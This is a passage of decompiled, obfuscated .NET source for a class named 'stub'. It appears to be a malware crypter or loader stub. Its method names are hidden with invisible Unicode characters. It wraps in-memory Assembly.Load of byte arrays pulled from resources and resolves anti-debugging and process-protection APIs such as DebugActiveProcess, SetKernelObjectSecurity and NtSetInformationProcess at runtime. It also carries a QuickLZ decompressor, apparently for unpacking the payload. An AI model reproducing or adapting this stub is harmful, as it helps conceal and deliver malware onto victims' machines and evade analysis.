A_0) { return Enum.GetValues(A_0); } // Token: 0x0600010B RID: 267 RVA: 0x00007938 File Offset: 0x00005B38 static IEnumerator \u202E\u206D\u202E\u200C\u202B\u200C\u202E\u202D\u206E\u206B\u200D\u206B\u202D\u206F\u206A\u200E\u202C\u202C\u206D\u200D\u206A\u202A\u200D\u206E\u206C\u200E\u200D\u206D\u200E\u206D\u206C\u202C\u202E\u206F\u206C\u200F\u200E\u206B\u206D\u200E\u202E(Array A_0) { return A_0.GetEnumerator(); } // Token: 0x0600010C RID: 268 RVA: 0x0000794C File Offset: 0x00005B4C static object \u206B\u206D\u200E\u200D\u202E\u206E\u202B\u200F\u206F\u202C\u200D\u206E\u206B\u206F\u206A\u206B\u206C\u206E\u206F\u206B\u200F\u202A\u206F\u202C\u206A\u206C\u202E\u202C\u200F\u200D\u206C\u206E\u206C\u200D\u206A\u206D\u206C\u200E\u206D\u202E\u202E(IEnumerator A_0) { return A_0.Current; } // Token: 0x0600010D RID: 269 RVA: 0x00007960 File Offset: 0x00005B60 static bool \u200C\u206A\u202E\u202A\u200F\u202B\u202D\u200E\u200F\u200C\u206B\u206A\u206D\u206D\u206A\u200B\u206F\u200D\u206F\u206F\u206C\u200B\u206E\u202D\u202A\u202D\u202A\u200D\u206E\u206C\u206A\u202B\u202A\u202D\u202A\u206A\u202B\u206A\u202E\u202E\u202E(IEnumerator A_0) { return A_0.MoveNext(); } // Token: 0x0600010E RID: 270 RVA: 0x00007974 File Offset: 0x00005B74 static object \u200F\u206D\u206A\u202A\u200B\u206E\u202E\u202A\u206F\u200F\u206E\u200C\u200F\u202E\u206F\u206D\u200E\u202A\u206B\u200F\u202A\u200D\u200E\u202A\u202D\u200D\u206F\u200D\u200D\u202B\u200C\u202E\u206A\u200D\u200E\u206B\u202E\u206B\u206A\u206D\u202E(ResourceManager A_0, string A_1) { return A_0.GetObject(A_1); } // Token: 0x0600010F RID: 271 RVA: 0x00002E4C File Offset: 0x0000104C static Module \u206B\u200C\u202B\u202C\u206B\u202D\u202C\u206C\u206A\u202D\u206A\u200D\u206F\u200D\u202C\u206F\u206E\u202A\u202B\u200D\u206B\u206F\u200E\u202D\u206C\u206B\u202D\u200C\u200D\u206F\u202D\u202A\u202D\u202E\u202D\u206B\u200D\u202B\u202A\u206D\u202E(Type A_0) { return A_0.Module; } // Token: 0x06000110 RID: 272 RVA: 0x00002E60 File Offset: 0x00001060 static IntPtr \u200B\u206E\u202E\u206F\u202A\u202B\u206F\u202A\u202C\u202B\u206C\u200C\u206D\u206A\u200F\u202C\u200B\u206B\u200F\u202D\u206A\u202C\u206D\u200F\u200F\u202B\u202B\u206A\u200E\u202A\u200C\u202C\u202B\u200C\u202B\u206C\u206B\u206B\u200C\u200C\u202E(Module A_0) { return Marshal.GetHINSTANCE(A_0); } // Token: 0x06000111 RID: 273 RVA: 0x00002E74 File Offset: 0x00001074 static string \u200F\u200D\u200F\u200F\u202A\u202D\u202B\u200B\u200D\u200C\u202B\u206C\u200D\u206B\u202A\u200E\u200F\u206A\u206C\u202B\u206C\u206A\u202C\u202C\u206C\u202D\u202D\u206D\u200D\u200D\u200C\u206B\u200E\u202C\u200B\u200D\u202D\u206F\u206F\u206B\u202E(Module A_0) { return A_0.FullyQualifiedName; } // Token: 0x06000112 RID: 274 RVA: 0x00002E88 File Offset: 0x00001088 static char \u200B\u206F\u200F\u202D\u206B\u202E\u206C\u202D\u202A\u200D\u202C\u200F\u200B\u200D\u206F\u202A\u206C\u206C\u202B\u206D\u206B\u206A\u202E\u206C\u200F\u206A\u200F\u200C\u200F\u200B\u202A\u202B\u200D\u202E\u200B\u206A\u200C\u200B\u206E\u202D\u202E(string A_0, int A_1) { return A_0[A_1]; } // Token: 0x06000113 RID: 275 RVA: 0x00002E9C File Offset: 0x0000109C static void \u200E\u200C\u206B\u202E\u200C\u202D\u200B\u202B\u202A\u200C\u200E\u206B\u202B\u200D\u206D\u202A\u200D\u206D\u202A\u200D\u202C\u200C\u202B\u200F\u206B\u206F\u206D\u202A\u200C\u202E\u200D\u200F\u206F\u202D\u206B\u202C\u206E\u200D\u206C\u200E\u202E(byte[] A_0, int A_1, IntPtr A_2, int A_3) { Marshal.Copy(A_0, A_1, A_2, A_3); } // Token: 0x06000114 RID: 276 RVA: 0x00007988 File Offset: 0x00005B88 static Assembly \u206E\u206E\u206C\u206B\u200B\u206C\u200E\u206A\u206D\u202C\u200F\u200B\u200E\u202B\u202E\u202D\u206C\u206E\u200D\u202B\u200C\u206B\u206A\u202D\u206E\u202E\u202A\u200C\u206E\u206A\u206E\u200C\u200E\u202D\u202D\u206D\u202C\u202C\u200D\u200D\u202E(byte[] A_0) { return Assembly.Load(A_0); } // Token: 0x06000115 RID: 277 RVA: 0x0000799C File Offset: 0x00005B9C static ProcessModuleCollection \u206E\u200D\u202B\u200B\u206A\u202D\u200C\u206E\u206A\u206E\u206C\u206D\u200E\u206C\u200F\u200E\u202B\u202A\u206A\u206F\u202B\u206F\u206F\u200F\u202A\u206E\u202D\u206A\u200E\u206D\u206F\u202C\u200B\u202E\u200C\u202C\u206F\u202E\u206E\u202C\u202E(Process A_0) { return A_0.Modules; } // Token: 0x06000116 RID: 278 RVA: 0x000079B0 File Offset: 0x00005BB0 static IEnumerator \u206C\u206A\u202C\u202C\u206E\u206B\u202B\u202D\u206B\u200E\u200D\u206B\u202E\u200E\u200D\u206F\u206E\u206B\u206A\u202D\u202D\u202B\u200C\u206B\u202A\u206B\u206A\u202D\u200D\u206E\u200C\u206F\u206A\u206F\u200F\u202A\u202D\u202B\u202D\u206A\u202E(ReadOnlyCollectionBase A_0) { return A_0.GetEnumerator(); } // Token: 0x06000117 RID: 279 RVA: 0x000079C4 File Offset: 0x00005BC4 static string \u202E\u200E\u206B\u200C\u200C\u206A\u200C\u206A\u200D\u200F\u200F\u200E\u202B\u206C\u206D\u200B\u202C\u206D\u200C\u206E\u206B\u200F\u200D\u206C\u206C\u206B\u200D\u206A\u202D\u200D\u200C\u200E\u202D\u200C\u202A\u200E\u200D\u206E\u206D\u200C\u202E(ProcessModule A_0) { return A_0.ModuleName; } // Token: 0x06000118 RID: 280 RVA: 0x000079D8 File Offset: 0x00005BD8 static IntPtr \u202E\u206B\u202A\u200E\u200C\u200D\u206E\u206C\u206F\u202A\u200F\u206E\u206E\u200B\u200D\u200B\u200B\u202C\u202D\u202C\u202E\u202A\u200C\u206D\u206B\u202E\u206A\u206B\u206D\u206D\u200C\u202A\u202E\u200B\u200E\u206E\u200B\u202E\u206C\u200D\u202E(ProcessModule A_0) { return A_0.BaseAddress; } // Token: 0x06000119 RID: 281 RVA: 0x000079EC File Offset: 0x00005BEC static Delegate \u202E\u206C\u206A\u200F\u206B\u202A\u202E\u200E\u202B\u202B\u200E\u200B\u202E\u202C\u202B\u206B\u200B\u200E\u200E\u200E\u202B\u202D\u206A\u200C\u200E\u206F\u206A\u206C\u202A\u206B\u206E\u206B\u202C\u202D\u200C\u202B\u202C\u202D\u206A\u200F\u202E(IntPtr A_0, Type A_1) { return Marshal.GetDelegateForFunctionPointer(A_0, A_1); } // Token: 0x0600011A RID: 282 RVA: 0x00007A00 File Offset: 0x00005C00 static object \u202C\u200D\u206E\u200C\u200B\u206A\u200E\u206C\u206A\u202A\u206D\u202D\u202B\u206B\u200E\u202A\u200D\u206A\u200D\u202E\u202E\u200F\u206B\u206C\u200E\u206E\u202D\u206D\u200B\u200B\u202A\u200B\u206C\u202C\u206F\u206F\u200B\u200D\u206E\u206B\u202E(object A_0, Type A_1) { return Convert.ChangeType(A_0, A_1); } // Token: 0x0600011B RID: 283 RVA: 0x00007A14 File Offset: 0x00005C14 static Exception \u200C\u202D\u202B\u202E\u206E\u200C\u200C\u202E\u202B\u206D\u206F\u206C\u206E\u202C\u202B\u200E\u200F\u202D\u200C\u202E\u202C\u200B\u206D\u206B\u202B\u206C\u202D\u202B\u206F\u200E\u202D\u202D\u202E\u202D\u206C\u200F\u202C\u202B\u202C\u202D\u202E(string A_0) { return new Exception(A_0); } // Token: 0x0600011C RID: 284 RVA: 0x00007A28 File Offset: 0x00005C28 static void \u202C\u206D\u206A\u206D\u206E\u206B\u200E\u206B\u200B\u202E\u206B\u202A\u202E\u202B\u202C\u200E\u202A\u200E\u206A\u200F\u206E\u202E\u206F\u206F\u200C\u202B\u206D\u200E\u206A\u206E\u200D\u206D\u206A\u206A\u200D\u200D\u206C\u206C\u202E\u206B\u202E() { GC.Collect(); } // Token: 0x0600011D RID: 285 RVA: 0x00007A3C File Offset: 0x00005C3C static Exception \u206C\u200F\u200E\u200E\u202C\u200F\u206F\u202C\u200B\u200C\u206D\u200F\u200E\u200B\u202C\u206B\u200C\u202E\u200C\u206F\u206A\u206B\u206B\u206E\u206C\u200B\u202E\u202A\u206C\u206C\u206C\u202A\u206F\u206F\u200B\u206F\u202D\u200B\u206F\u202D\u202E() { return new Exception(); } // Token: 0x0600011E RID: 286 RVA: 0x00007A50 File Offset: 0x00005C50 static void \u200B\u200F\u200C\u200B\u200C\u206B\u206B\u202B\u206D\u200B\u206D\u200E\u206D\u200D\u200C\u202D\u202E\u206E\u206C\u200C\u206A\u202E\u202D\u202D\u200B\u200B\u202A\u202A\u202E\u200C\u202A\u206C\u206C\u206B\u202E\u206B\u200F\u206A\u206C\u200C\u202E(Process A_0) { A_0.Kill(); } // Token: 0x0600011F RID: 287 RVA: 0x00002D6C File Offset: 0x00000F6C static object \u200F\u206F\u200D\u206B\u200C\u200D\u202D\u206D\u200B\u202D\u202B\u206D\u202B\u202C\u206D\u206C\u206F\u200C\u200C\u200C\u206C\u200C\u200C\u206D\u202B\u202C\u200D\u202C\u206C\u200F\u202B\u206F\u202B\u202E\u202A\u202B\u206A\u202B\u200C\u206F\u202E(MethodBase A_0, object A_1, object[] A_2) { return A_0.Invoke(A_1, A_2); } // Token: 0x0400002C RID: 44 private const int WM_CLOSE = 16; // Token: 0x0400002D RID: 45 private const int DBG_CONTINUE = 65538; // Token: 0x0400002E RID: 46 private const int DBG_EXCEPTION_NOT_HANDLED = -2147418111; // Token: 0x0400002F RID: 47 private static ResourceManager res; // Token: 0x04000030 RID: 48 private static Mutex mut; // Token: 0x04000031 RID: 49 private static stub.debugactiveprocess DebugActiveProcess = stub.CreateApi("kernel32.dll", "DebugActiveProcess"); // Token: 0x04000032 RID: 50 private static stub.waitfordebugevent WaitForDebugEvent = stub.CreateApi("kernel32.dll", "WaitForDebugEvent"); // Token: 0x04000033 RID: 51 private static stub.continuedebugevent ContinueDebugEvent = stub.CreateApi("kernel32.dll", "ContinueDebugEvent"); // Token: 0x04000034 RID: 52 private static stub.deletefile DeleteFile = stub.CreateApi("kernel32.dll", "DeleteFileA"); // Token: 0x04000035 RID: 53 private static stub.iswow64process IsWow64Process = stub.CreateApi("kernel32.dll", "IsWow64Process"); // Token: 0x04000036 RID: 54 private static stub.setkernelobjectsecurity SetKernelObjectSecurity = stub.CreateApi("advapi32.dll", "SetKernelObjectSecurity"); // Token: 0x04000037 RID: 55 private static stub.getkernelobjectsecurity GetKernelObjectSecurity = stub.CreateApi("advapi32.dll", "GetKernelObjectSecurity"); // Token: 0x04000038 RID: 56 private static stub.ntsetinformationprocess NtSetInformationProcess = stub.CreateApi("ntdll.dll", "NtSetInformationProcess"); // Token: 0x04000039 RID: 57 private static stub.virtualprotect VirtualProtect = stub.CreateApi("kernel32.dll", "VirtualProtect"); // Token: 0x0400003A RID: 58 private static stub.ntprotectvirtualmemory VirtualProtectEx = stub.CreateApi("ntdll.dll", "NtProtectVirtualMemory"); // Token: 0x0200000D RID: 13 private struct MemoryInfo { // Token: 0x04000040 RID: 64 public IntPtr BaseAddress; // Token: 0x04000041 RID: 65 public IntPtr AllocationBase; // Token: 0x04000042 RID: 66 public uint AllocationProtect; // Token: 0x04000043 RID: 67 public IntPtr RegionSize; // Token: 0x04000044 RID: 68 public uint State; // Token: 0x04000045 RID: 69 public uint Protect; // Token: 0x04000046 RID: 70 public uint Type; } // Token: 0x0200000E RID: 14 private struct SystemInfo { // Token: 0x04000047 RID: 71 public uint dwOemId; // Token: 0x04000048 RID: 72 public uint dwPageSize; // Token: 0x04000049 RID: 73 public uint lpMinimumApplicationAddress; // Token: 0x0400004A RID: 74 public uint lpMaximumApplicationAddress; // Token: 0x0400004B RID: 75 public uint dwActiveProcessorMask; // Token: 0x0400004C RID: 76 public uint dwNumberOfProcessors; // Token: 0x0400004D RID: 77 public uint dwProcessorType; // Token: 0x0400004E RID: 78 public uint dwAllocationGranularity; // Token: 0x0400004F RID: 79 public uint dwProcessorLevel; // Token: 0x04000050 RID: 80 public uint dwProcessorRevision; } // Token: 0x0200000F RID: 15 // (Invoke) Token: 0x06000121 RID: 289 private delegate bool debugactiveprocess(int dwProcessId); // Token: 0x02000010 RID: 16 // (Invoke) Token: 0x06000125 RID: 293 private delegate bool waitfordebugevent(out stub.DEBUG_EVENT lpDebugEvent, int dwMilliseconds); // Token: 0x02000011 RID: 17 // (Invoke) Token: 0x06000129 RID: 297 private delegate bool continuedebugevent(int dwProcessId, int dwThreadId, int dwContinueStatus); // Token: 0x02000012 RID: 18 // (Invoke) Token: 0x0600012D RID: 301 private delegate bool deletefile(string lpFileName); // Token: 0x02000013 RID: 19 // (Invoke) Token: 0x06000131 RID: 305 private delegate bool iswow64process(IntPtr processHandle, out bool wow64Process); // Token: 0x02000014 RID: 20 // (Invoke) Token: 0x06000135 RID: 309 private delegate bool setkernelobjectsecurity(IntPtr Handle, int securityInformation, [In] byte[] pSecurityDescriptor); // Token: 0x02000015 RID: 21 // (Invoke) Token: 0x06000139 RID: 313 private delegate bool getkernelobjectsecurity(IntPtr Handle, int securityInformation, [Out] byte[] pSecurityDescriptor, uint nLength, ref uint lpnLengthNeeded); // Token: 0x02000016 RID: 22 // (Invoke) Token: 0x0600013D RID: 317 private delegate int ntsetinformationprocess(IntPtr hProcess, int processInformationClass, ref int processInformation, int processInformationLength); // Token: 0x02000017 RID: 23 // (Invoke) Token: 0x06000141 RID: 321 private unsafe delegate bool virtualprotect(byte* lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect); // Token: 0x02000018 RID: 24 // (Invoke) Token: 0x06000145 RID: 325 private delegate bool ntprotectvirtualmemory(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); // Token: 0x02000019 RID: 25 // (Invoke) Token: 0x06000149 RID: 329 public delegate uint PTHREAD_START_ROUTINE(IntPtr lpThreadParameter); // Token: 0x0200001A RID: 26 public struct DEBUG_EVENT { // Token: 0x17000001 RID: 1 // (get) Token: 0x0600014C RID: 332 RVA: 0x00007A64 File Offset: 0x00005C64 public stub.EXCEPTION_DEBUG_INFO Exception { get { return this.GetDebugInfo(); } } // Token: 0x17000002 RID: 2 // (get) Token: 0x0600014D RID: 333 RVA: 0x00007A78 File Offset: 0x00005C78 public stub.CREATE_THREAD_DEBUG_INFO CreateThread { get { return this.GetDebugInfo(); } } // Token: 0x17000003 RID: 3 // (get) Token: 0x0600014E RID: 334 RVA: 0x00007A8C File Offset: 0x00005C8C public stub.CREATE_PROCESS_DEBUG_INFO CreateProcessInfo { get { return this.GetDebugInfo(); } } // Token: 0x17000004 RID: 4 // (get) Token: 0x0600014F RID: 335 RVA: 0x00007AA0 File Offset: 0x00005CA0 public stub.EXIT_THREAD_DEBUG_INFO ExitThread { get { return this.GetDebugInfo(); } } // Token: 0x17000005 RID: 5 // (get) Token: 0x06000150 RID: 336 RVA: 0x00007AB4 File Offset: 0x00005CB4 public stub.EXIT_PROCESS_DEBUG_INFO ExitProcess { get { return this.GetDebugInfo(); } } // Token: 0x17000006 RID: 6 // (get) Token: 0x06000151 RID: 337 RVA: 0x00007AC8 File Offset: 0x00005CC8 public stub.LOAD_DLL_DEBUG_INFO LoadDll { get { return this.GetDebugInfo(); } } // Token: 0x17000007 RID: 7 // (get) Token: 0x06000152 RID: 338 RVA: 0x00007ADC File Offset: 0x00005CDC public stub.UNLOAD_DLL_DEBUG_INFO UnloadDll { get { return this.GetDebugInfo(); } } // Token: 0x17000008 RID: 8 // (get) Token: 0x06000153 RID: 339 RVA: 0x00007AF0 File Offset: 0x00005CF0 public stub.OUTPUT_DEBUG_STRING_INFO DebugString { get { return this.GetDebugInfo(); } } // Token: 0x17000009 RID: 9 // (get) Token: 0x06000154 RID: 340 RVA: 0x00007B04 File Offset: 0x00005D04 public stub.RIP_INFO RipInfo { get { return this.GetDebugInfo(); } } // Token: 0x06000155 RID: 341 RVA: 0x00007B18 File Offset: 0x00005D18 private T GetDebugInfo() where T : struct { int num = Marshal.SizeOf(typeof(T)); IntPtr intPtr = Marshal.AllocHGlobal(num); Marshal.Copy(this.debugInfo, 0, intPtr, num); object obj = Marshal.PtrToStructure(intPtr, typeof(T)); Marshal.FreeHGlobal(intPtr); return (T)((object)obj); } // Token: 0x06000156 RID: 342 RVA: 0x00002D2C File Offset: 0x00000F2C static Type \u202B\u206D\u200D\u206D\u202E\u206C\u206E\u202A\u206F\u200D\u206F\u200D\u200D\u206B\u206D\u200E\u200E\u206F\u202E\u202A\u200F\u202A\u200F\u200F\u206D\u206B\u206D\u202D\u200F\u206C\u202D\u200D\u202D\u202B\u202D\u200E\u206B\u206C\u200C\u202B\u202E(RuntimeTypeHandle A_0) { return Type.GetTypeFromHandle(A_0); } // Token: 0x06000157 RID: 343 RVA: 0x00007B68 File Offset: 0x00005D68 static int \u206F\u206D\u202C\u202A\u200B\u202B\u202D\u200B\u206C\u206C\u200D\u200F\u206A\u206F\u206A\u200E\u200D\u200E\u200E\u200C\u206A\u206A\u200D\u200D\u200B\u202D\u202A\u206F\u206C\u206A\u206F\u206A\u202C\u200F\u200D\u206C\u202E\u202C\u200B\u202C\u202E(Type A_0) { return Marshal.SizeOf(A_0); } // Token: 0x06000158 RID: 344 RVA: 0x00007B7C File Offset: 0x00005D7C static IntPtr \u202A\u200F\u206A\u206B\u206D\u206D\u202D\u206F\u200D\u202B\u206C\u202D\u202E\u202E\u200E\u202C\u202C\u200C\u200E\u200D\u202D\u200B\u202B\u202B\u206F\u206E\u206B\u202C\u206E\u206B\u202C\u206C\u206E\u200C\u200C\u206A\u202D\u206E\u206F\u202E(int A_0) { return Marshal.AllocHGlobal(A_0); } // Token: 0x06000159 RID: 345 RVA: 0x00002E9C File Offset: 0x0000109C static void \u202E\u206B\u206F\u200E\u202C\u206C\u200F\u206E\u200E\u200C\u202C\u202E\u202D\u202D\u202B\u202D\u206C\u200E\u200D\u206F\u200F\u206E\u200D\u206B\u200B\u200D\u200F\u200E\u206E\u206A\u206E\u200E\u202B\u202A\u202E\u206B\u200C\u206F\u206F\u206D\u202E(byte[] A_0, int A_1, IntPtr A_2, int A_3) { Marshal.Copy(A_0, A_1, A_2, A_3); } // Token: 0x0600015A RID: 346 RVA: 0x00007B90 File Offset: 0x00005D90 static object \u202E\u202D\u202A\u200E\u206C\u202B\u202B\u206E\u206C\u200D\u202B\u202D\u200E\u200F\u202D\u202C\u206A\u202D\u200E\u200B\u200C\u202A\u206A\u206A\u202C\u200F\u202E\u202C\u200F\u200F\u200D\u202A\u206D\u202B\u200D\u206B\u200D\u202C\u200B\u206A\u202E(IntPtr A_0, Type A_1) { return Marshal.PtrToStructure(A_0, A_1); } // Token: 0x0600015B RID: 347 RVA: 0x00007BA4 File Offset: 0x00005DA4 static void \u200C\u200E\u200F\u206D\u206C\u206A\u206C\u200B\u200D\u202D\u202B\u206E\u202C\u202C\u206C\u200E\u200D\u202C\u202E\u202A\u206F\u206F\u206C\u206E\u206E\u200C\u206C\u206D\u202C\u206D\u206C\u206E\u200D\u206A\u206E\u206C\u200B\u202B\u200E\u206E\u202E(IntPtr A_0) { Marshal.FreeHGlobal(A_0); } // Token: 0x04000051 RID: 81 public stub.DebugEventType dwDebugEventCode; // Token: 0x04000052 RID: 82 public int dwProcessId; // Token: 0x04000053 RID: 83 public int dwThreadId; // Token: 0x04000054 RID: 84 [MarshalAs(UnmanagedType.ByValArray, SizeConst = 86, ArraySubType = UnmanagedType.U1)] private byte[] debugInfo; } // Token: 0x0200001B RID: 27 public enum DebugEventType { // Token: 0x04000056 RID: 86 CREATE_PROCESS_DEBUG_EVENT = 3, // Token: 0x04000057 RID: 87 CREATE_THREAD_DEBUG_EVENT = 2, // Token: 0x04000058 RID: 88 EXCEPTION_DEBUG_EVENT = 1, // Token: 0x04000059 RID: 89 EXIT_PROCESS_DEBUG_EVENT = 5, // Token: 0x0400005A RID: 90 EXIT_THREAD_DEBUG_EVENT = 4, // Token: 0x0400005B RID: 91 LOAD_DLL_DEBUG_EVENT = 6, // Token: 0x0400005C RID: 92 OUTPUT_DEBUG_STRING_EVENT = 8, // Token: 0x0400005D RID: 93 RIP_EVENT, // Token: 0x0400005E RID: 94 UNLOAD_DLL_DEBUG_EVENT = 7 } // Token: 0x0200001C RID: 28 public enum Protection : uint { // Token: 0x04000060 RID: 96 PAGE_EXECUTE_READWRITE = 64u, // Token: 0x04000061 RID: 97 PAGE_READWRITE = 4u, // Token: 0x04000062 RID: 98 PAGE_GUARD = 256u } // Token: 0x0200001D RID: 29 public struct CREATE_THREAD_DEBUG_INFO { // Token: 0x04000063 RID: 99 public IntPtr hThread; // Token: 0x04000064 RID: 100 public IntPtr lpThreadLocalBase; // Token: 0x04000065 RID: 101 public stub.PTHREAD_START_ROUTINE lpStartAddress; } // Token: 0x0200001E RID: 30 public struct EXCEPTION_DEBUG_INFO { // Token: 0x04000066 RID: 102 public stub.EXCEPTION_RECORD ExceptionRecord; // Token: 0x04000067 RID: 103 public uint dwFirstChance; } // Token: 0x0200001F RID: 31 public struct EXCEPTION_RECORD { // Token: 0x04000068 RID: 104 public uint ExceptionCode; // Token: 0x04000069 RID: 105 public uint ExceptionFlags; // Token: 0x0400006A RID: 106 public IntPtr ExceptionRecord; // Token: 0x0400006B RID: 107 public IntPtr ExceptionAddress; // Token: 0x0400006C RID: 108 public uint NumberParameters; // Token: 0x0400006D RID: 109 [MarshalAs(UnmanagedType.ByValArray, SizeConst = 15, ArraySubType = UnmanagedType.U4)] public uint[] ExceptionInformation; } // Token: 0x02000020 RID: 32 public struct EXIT_THREAD_DEBUG_INFO { // Token: 0x0400006E RID: 110 public uint dwExitCode; } // Token: 0x02000021 RID: 33 public struct EXIT_PROCESS_DEBUG_INFO { // Token: 0x0400006F RID: 111 public uint dwExitCode; } // Token: 0x02000022 RID: 34 public struct UNLOAD_DLL_DEBUG_INFO { // Token: 0x04000070 RID: 112 public IntPtr lpBaseOfDll; } // Token: 0x02000023 RID: 35 public struct OUTPUT_DEBUG_STRING_INFO { // Token: 0x04000071 RID: 113 [MarshalAs(UnmanagedType.LPStr)] public string lpDebugStringData; // Token: 0x04000072 RID: 114 public ushort fUnicode; // Token: 0x04000073 RID: 115 public ushort nDebugStringLength; } // Token: 0x02000024 RID: 36 public struct LOAD_DLL_DEBUG_INFO { // Token: 0x04000074 RID: 116 public IntPtr hFile; // Token: 0x04000075 RID: 117 public IntPtr lpBaseOfDll; // Token: 0x04000076 RID: 118 public uint dwDebugInfoFileOffset; // Token: 0x04000077 RID: 119 public uint nDebugInfoSize; // Token: 0x04000078 RID: 120 public IntPtr lpImageName; // Token: 0x04000079 RID: 121 public ushort fUnicode; } // Token: 0x02000025 RID: 37 public struct CREATE_PROCESS_DEBUG_INFO { // Token: 0x0400007A RID: 122 public IntPtr hFile; // Token: 0x0400007B RID: 123 public IntPtr hProcess; // Token: 0x0400007C RID: 124 public IntPtr hThread; // Token: 0x0400007D RID: 125 public IntPtr lpBaseOfImage; // Token: 0x0400007E RID: 126 public uint dwDebugInfoFileOffset; // Token: 0x0400007F RID: 127 public uint nDebugInfoSize; // Token: 0x04000080 RID: 128 public IntPtr lpThreadLocalBase; // Token: 0x04000081 RID: 129 public stub.PTHREAD_START_ROUTINE lpStartAddress; // Token: 0x04000082 RID: 130 public IntPtr lpImageName; // Token: 0x04000083 RID: 131 public ushort fUnicode; } // Token: 0x02000026 RID: 38 public struct RIP_INFO { // Token: 0x04000084 RID: 132 public uint dwError; // Token: 0x04000085 RID: 133 public uint dwType; } // Token: 0x02000027 RID: 39 public static class SafeQuickLZ { // Token: 0x0600015C RID: 348 RVA: 0x00007BB8 File Offset: 0x00005DB8 private static int HeaderLength(byte[] source) { if ((source[0] & 2) != 2) { return 3; } return 9; } // Token: 0x0600015D RID: 349 RVA: 0x00007BD4 File Offset: 0x00005DD4 public static int SizeDecompressed(byte[] source) { if (stub.SafeQuickLZ.HeaderLength(source) == 9) { return (int)source[5] | (int)source[6] << 8 | (int)source[7] << 16 | (int)source[8] << 24; } return (int)source[2]; } // Token: 0x0600015E RID: 350 RVA: 0x00007C08 File Offset: 0x00005E08 public static int SizeCompressed(byte[] source) { if (stub.SafeQuickLZ.HeaderLength(source) == 9) { return (int)source[1] | (int)source[2] << 8 | (int)source[3] << 16 | (int)source[4] << 24; } return (int)source[1]; } // Token: 0x0600015F RID: 351 RVA: 0x00007C3C File Offset: 0x00005E3C private static void WriteHeader(byte[] dst, int level, bool compressible, int sizeCompressed, int sizeDecompressed) { dst[0] = (byte)(2 | (compressible ? 1 : 0)); int num = 0; dst[num] |= (byte)(level << 2); int num2 = 0; dst[num2] |= 64; int num3 = 0; dst[num3] = dst[num3]; stub.SafeQuickLZ.FastWrite(dst, 1, sizeDecompressed, 4); stub.SafeQuickLZ.FastWrite(dst, 5, sizeCompressed, 4); } // Token: 0x06000160 RID: 352 RVA: 0x00007CAC File Offset: 0x00005EAC private static void FastWrite(byte[] a, int i, int value, int numbytes) { for (int j = 0; j < numbytes; j++) { a[i + j] = (byte)(value >> j * 8); } } // Token: 0x06000161 RID: 353 RVA: 0x00007CD4 File Offset: 0x00005ED4 public static byte[] Decompress(byte[] source) { if (source.Length == 0) { return new byte[0]; } int num = source[0] >> 2 & 3; if (num != 1) { if (num != 3) { throw new ArgumentException(.\u206D\u200B\u206B\u206C\u200D\u200E\u202E\u202E\u202B\u202A\u200D\u202C\u202A\u206A\u206B\u206B\u206A\u202C\u200C\u200F\u206F\u206E\u200E\u206C\u206C\u206B\u206F\u206B\u200F\u206E\u200D\u202E\u206B\u206D\u202C\u202C\u200C\u202D\u200D\u206A\u202E(1006332114u)); } } int num2 = stub.SafeQuickLZ.SizeDecompressed(source); int num3 = stub.SafeQuickLZ.HeaderLength(source); int i = 0; uint num4 = 1u; byte[] array = new byte[num2]; int[] array2 = new int[4096]; byte[] array3 = new byte[4096]; int num5 = num2 - 6 - 4 - 1; int j = -1; uint num6 = 0u; if ((source[0] & 1) != 1) { byte[] array4 = new byte[num2]; Array.Copy(source, stub.SafeQuickLZ.HeaderLength(source), array4, 0, num2); return array4; } for (;;) { if (num4 == 1u) { num4 = (uint)((int)source[num3] | (int)source[num3 + 1] << 8 | (int)source[num3 + 2] << 16 | (int)source[num3 + 3] << 24); num3 += 4; if (i <= num5) { if (num == 1) { num6 = (uint)((int)source[num3] | (int)source[num3 + 1] << 8 | (int)source[num3 + 2] << 16); } else { num6 = (uint)((int)source[num3] | (int)source[num3 + 1] << 8 | (int)source[num3 + 2] << 16 | (int)source[num3 + 3] << 24); } } } if ((num4 & 1u) == 1u) { num4 >>= 1; uint num8; uint num9; if (num != 1) { uint num7; if ((num6 & 3u) != 0u) { if ((num6 & 2u) != 0u) { if ((num6 & 1u) == 0u) { num7 = (num6 & 65535u) >> 6; num8 = (num6 >> 2 & 15u) + 3u; num3 += 2; } else if ((num6 & 127u) != 3u) { num7 = (num6 >> 7 & 131071u); num8 = (num6 >> 2 & 31u) + 2u; num3 += 3; } else { num7 = num6 >> 15; num8 = (num6 >> 7 & 255u) + 3u; num3 += 4; } } else { num7 = (num6 & 65535u) >> 2; num8 = 3u; num3 += 2; } } else { num7 = (num6 & 255u) >> 2; num8 = 3u; num3++; } num9 = (uint)((long)i - (long)((ulong)num7)); } else { int num10 = (int)num6 >> 4 & 4095; num9 = (uint)array2[num10]; if ((num6 & 15u) == 0u) { num8 = (uint)source[num3 + 2]; num3 += 3; } else { num8 = (num6 & 15u) + 2u; num3 += 2; } } array[i] = array[(int)((UIntPtr)num9)]; array[i + 1] = array[(int)((UIntPtr)(num9 + 1u))]; array[i + 2] = array[(int)((UIntPtr)(num9 + 2u))]; int num11 = 3; while ((long)num11 < (long)((ulong)num8)) { array[i + num11] = array[(int)(checked((IntPtr)(unchecked((ulong)num9 + (ulong)((long)num11)))))]; num11++; } i += (int)num8; if (num == 1) { num6 = (uint)((int)array[j + 1] | (int)array[j + 2] << 8 | (int)array[j + 3] << 16); while ((long)j < (long)i - (long)((ulong)num8)) { j++; int num10 = (int)((num6 >> 12 ^ num6) & 4095u); array2[num10] = j; array3[num10] = 1; num6 = (uint)((ulong)(num6 >> 8 & 65535u) | (ulong)((long)((long)array[j + 3] << 16))); } num6 = (uint)((int)source[num3] | (int)source[num3 + 1] << 8 | (int)source[num3 + 2] << 16); } else { num6 = (uint)((int)source[num3] | (int)source[num3 + 1] << 8 | (int)source[num3 + 2] << 16 | (int)source[num3 + 3] << 24); } j = i - 1; } else { if (i > num5) { break; } array[i] = source[num3]; i++; num3++; num4 >>= 1; if (num != 1) { num6 = (uint)((ulong)(num6 >> 8 & 65535u) | (ulong)((long)((long)source[num3 + 2] << 16)) | (ulong)((long)((long)source[num3 + 3] << 24))); } else { while (j < i - 3) { j++; int num12 = (int)array[j] | (int)array[j + 1] << 8 | (int)array[j + 2] << 16; int num10 = (num12 >> 12 ^ num12) & 4095; array2[num10] = j; array3[num10] = 1; } num6 = (uint)((ulong)(num6 >> 8 & 65535u) | (ulong)((long)((long)source[num3 + 2] << 16))); } } } while (i <= num2 - 1) { if (num4 == 1u) 